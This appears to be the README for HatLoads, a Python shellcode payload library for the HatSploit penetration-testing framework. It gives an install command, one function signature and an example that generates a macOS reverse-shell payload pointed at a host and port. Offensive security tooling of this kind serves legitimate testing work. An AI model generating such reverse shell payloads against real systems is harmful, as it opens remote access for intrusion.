HatLoads
HatSploit collection of generic payloads designed to provide a wide range of attacks without having to spend time writing new ones.
Features
- Contains a lot of useful shellcodes in assembly and bytes.
- Support for most common platforms like
macOS
,Linux
,Windows
. - Ability to get custom code and assemble it.
Installation
pip3 install git+https://github.com/EntySec/HatLoads
Basic functions
There are all HatLoads basic functions that can be used to generate payloads.
get_payload(self, platform, arch, payload, options={}, assemble=True)
- Get assembly shellcode or assembled shellcode.
Examples
from hatloads import HatLoads
options = {
'RHOST': '127.0.0.1',
'RPORT': 8888
}
hatloads = HatLoads()
shellcode = hatloads.get_payload('macos', 'x64', 'shell_reverse_tcp')